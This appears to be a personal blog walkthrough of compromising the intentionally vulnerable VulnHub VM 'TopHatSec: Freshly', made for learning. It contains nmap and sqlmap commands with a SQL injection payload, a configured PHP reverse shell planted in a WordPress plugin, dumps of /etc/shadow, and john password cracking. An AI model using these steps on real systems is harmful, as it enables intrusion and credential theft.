TopHatSec: Freshly Walkthrough

Another VM that I found on VulnHub is TopHatSec: Freshly that is created by TopHatSec.

I had this VM in my KeepNote for a while now, but never thought to throw it up online until recently. Here's my reenactment for rooting this box several months ago:

I spin up the VM in VirtualBox and kick off an nmap scan on my vboxnet0 interface 192.168.56.0/24:




root@localhost:~/VM/freshly# nmap 192.168.56.0/24

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-11 12:27 CDT
Nmap scan report for 192.168.56.100
Host is up (0.000058s latency).
All 1000 scanned ports on 192.168.56.100 are filtered
MAC Address: 08:00:27:E1:F0:DE (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.102
Host is up (0.00019s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy
MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.1
Host is up (0.0000020s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
80/tcp  open  http
111/tcp open  rpcbind

Nmap done: 256 IP addresses (3 hosts up) scanned in 7.73 seconds



I see that 192.168.56.102 is the box being pursued. It's time for a deeper scan on this host:


root@localhost:~/VM/freshly# nmap -p- 192.168.56.102

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-11 12:29 CDT
Nmap scan report for 192.168.56.102
Host is up (0.00011s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy
MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
root@localhost:~/VM/freshly# 


Great, 3 ports are open. Let's scan these 3 ports with an even deeper scan:


root@localhost:~/VM/freshly# nmap -p80,443,8080 -A 192.168.56.102

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-08-11 12:31 CDT
Nmap scan report for 192.168.56.102
Host is up (0.00023s latency).
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp  open  ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-02-17T03:30:05
|_Not valid after:  2025-02-14T03:30:05
8080/tcp open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.23 ms 192.168.56.102

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds
root@localhost:~/VM/freshly# 

Perfect. I have tons of information now on this site. I start off looking at port 80 and I'm presented with the following content:


Before getting distracted and moving to the next port, I decide that I'll run Dirbuster against it to see if there are any directories I'm unaware of:



I notice that there's a /login.php directory responding with a 200 Status Code. I navigate to the page and I'm presented with the following:


After tinkering around the login page, I try seeing if this page may be vulnerable to a SQLInjection attack considering there was a Post method along with name="user" and name="password". I spin up BurpSuite and run the proxy. I capture the user and password parameters:


I take these parameters and run sqlmap to see if there's a SQLInjection vulnerability:


root@localhost:~/VM/freshly# sqlmap -u "http://192.168.56.102/login.php" --data="user=test&password=123&s=Submit" --risk 3 --level 3
         _
 ___ ___| |_____ ___ ___  {1.0.7.1#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:03:12

[13:03:12] [INFO] testing connection to the target URL
[13:03:12] [INFO] heuristics detected web page charset 'ascii'
[13:03:12] [INFO] testing if the target URL is stable
[13:03:13] [INFO] target URL is stable
[13:03:13] [INFO] testing if POST parameter 'user' is dynamic

[...snippet...]

[13:03:18] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[13:03:38] [INFO] POST parameter 'user' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable 
 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] 
[13:03:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:03:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:03:41] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 
[13:03:42] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[13:03:42] [INFO] testing 'Generic UNION query (44) - 21 to 40 columns'
[13:03:42] [INFO] testing 'Generic UNION query (44) - 41 to 60 columns'
[13:03:42] [INFO] checking if the injection point on POST parameter 'user' is a false positive
POST parameter 'user' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 1658 HTTP(s) requests:
---
Parameter: user (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: user=test' OR SLEEP(5)-- eVHT&password=123&s=Submit
---
[13:04:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12

I then add --dbs to my sqlmap switch and find the following 7 databases:


I then finalize my sqlmap switches and run the following command to fully dump the wordpress8080 database:


root@localhost:~/VM/freshly# sqlmap -u "http://192.168.56.102/login.php" --data="user=test&password=123&s=Submit" -D wordpress8080 --dump-all --risk 3 --level 3


Boom! I've got credentials for the wordpress8080 database with the following credentials:
username: admin
password: SuperSecretPassword

Now that we have credentials. Where do we use this? I tried logging into /login.php but was unsuccessful. I then realize that there were 2 other ports open on this host. Seeing that this was a wordpress8080 database.. I'm going to guess that port 8080 is hosting a WordPress site...

I navigate to 192.168.56.102:8080 and I'm presented with the following:


I click on the link and I'm taken to the Old Candy Shop page. I navigate around the site a bit and decide that I'm going to look for the login page for this WordPress site.

Navigating to the following site presents me with the WordPress login page:

192.168.56.102:8080/wordpress/wp-login.php?





I use my newly captured credentials to log into the site:



Success!

Now, having familiarity with WordPress, there is a technique in which you can upload a webshell via the plugins.


I had some issues uploading a WordPress shell plugin such as the one found here, but all is not lost! I decide that if I'm running as admin, I can still edit an existing plugin that is already running php and update the contents with my reverse shell.

I copy down /usr/share/webshells/php/php-reverse-shells.php from my local host and update the contents to point back to my IP over port 443.


root@localhost:~/VM/freshly# cp /usr/share/webshells/php/php-reverse-shell.php ./geoda-reverse.php
root@localhost:~/VM/freshly# vim geoda-reverse.php 
root@localhost:~/VM/freshly# cat geoda-reverse.php 
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

[...snippet...]


set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.1';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

[...snippet...]


root@localhost:~/VM/freshly# 

Copy the contents of geoda-reverse.php and update it within the plugin:




Now that my reverse shell is in place. Let's fire up netcat to listen on port 443, and navigate to the page with my payload:

192.168.56.102:8080/wordpress/wp-content/plugins/all-in-one-wp-migration/all-in-one-wp-migration.php


Success! I now have a shell on the system running as daemon. It is now time to escalate privileges.

After breaking out of my "jail" shell with python, I notice that I can read both the /etc/shadow:


daemon@Freshly:/$ cat /etc/shadow
cat /etc/shadow
root:$6$If.Y9A3d$L1/qOTmhdbImaWb40Wit6A/wP5tY5Ia0LB9HvZvl1xAGFKGP5hm9aqwvFtDIRKJaWkN8cuqF6wMvjl1gxtoR7/:16483:0:99999:7:::
daemon:*:16483:0:99999:7:::
bin:*:16483:0:99999:7:::
sys:*:16483:0:99999:7:::
sync:*:16483:0:99999:7:::
games:*:16483:0:99999:7:::
man:*:16483:0:99999:7:::
lp:*:16483:0:99999:7:::
mail:*:16483:0:99999:7:::
news:*:16483:0:99999:7:::
uucp:*:16483:0:99999:7:::
proxy:*:16483:0:99999:7:::
www-data:*:16483:0:99999:7:::
backup:*:16483:0:99999:7:::
list:*:16483:0:99999:7:::
irc:*:16483:0:99999:7:::
gnats:*:16483:0:99999:7:::
nobody:*:16483:0:99999:7:::
libuuid:!:16483:0:99999:7:::
syslog:*:16483:0:99999:7:::
messagebus:*:16483:0:99999:7:::
user:$6$MuqQZq4i$t/lNztnPTqUCvKeO/vvHd9nVe3yRoES5fEguxxHnOf3jR/zUl0SFs825OM4MuCWlV7H/k2QCKiZ3zso.31Kk31:16483:0:99999:7:::
mysql:!:16483:0:99999:7:::
candycane:$6$gfTgfe6A$pAMHjwh3aQV1lFXtuNDZVYyEqxLWd957MSFvPiPaP5ioh7tPOwK2TxsexorYiB0zTiQWaaBxwOCTRCIVykhRa/:16483:0:99999:7:::
# YOU STOLE MY PASSWORD FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"
daemon@Freshly:/$ 

and /etc/passwd file:


daemon@Freshly:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
mysql:x:103:111:MySQL Server,,,:/nonexistent:/bin/false
candycane:x:1001:1001::/home/candycane:
# YOU STOLE MY SECRET FILE!
# SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!"
daemon@Freshly:/$ 

At this point it is probably game over. However, considering I am still running as daemon, I want to see if I can run john against this and become a real user.

I copied both the /etc/shadow and /etc/passwd to my local device and run unshadow against both, and output it to cracked.txt. Next, I run john against cracked.txt:


root@localhost:~/freshly# unshadow passwd shadow > cracked.txt 

root@localhost:~/freshly# john cracked.txt 
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (candycane)

Success! John has cracked the hash's and found credentials for the user "candycane". The password is simply "password". I then su to candycane:


daemon@Freshly:/$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@Freshly:/$ su candycane
su candycane
Password: password

candycane@Freshly:/$ id
id
uid=1001(candycane) gid=1001(candycane) groups=1001(candycane)
candycane@Freshly:/$ 

Great! I am now running as Candycane. However, I am not running as root. After probbing around, I find that the root credentials are in cleartext directly on the login.php page:


candycane@Freshly:/$ cd /var/www/html
cd /var/www/html
candycane@Freshly:/var/www/html$ cat login.php
cat login.php
<?php
mysql_connect('localhost','root','SuperSecretPassword');
mysql_select_db('login');
?>

<form action="" method="post">
<table width="50%">
 <tr>
  <td>User</td>
  <td><input type="text" name="user"></td>
 </tr>
 <tr>
  <td>Password</td>
  <td><input type="password" name="password"></td>
 </tr>
 </table>
  <input type="submit" value="Submit" name="s">
 </form>

<?php
if($_POST['s']){
 $user = $_POST['user'];
 $pass = $_POST['password'];
 $re = mysql_query("select * from users where user_name = '$user' and password = '$pass'");

 if(mysql_num_rows($re) == 0){
  echo '0';
 }else{
  echo '1';
 }
}
?>
candycane@Freshly:/var/www/html$ 

Wow! I then try to su as root:


candycane@Freshly:/var/www/html$ su root
su root
Password: SuperSecretPassword

root@Freshly:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Freshly:/var/www/html# 

Success! Root!

This was a very fun VM. I certainly enjoyed playing with sqlmap, utilizing john, finding cleartext passwords, and hacking WordPress plugins.

There is more than likely many different avenues to hack this VM, this was just the way that worked for me.

As always, I'd like to thank TopHatSec for creating this VM. And, of course, VulnHub for hosting it!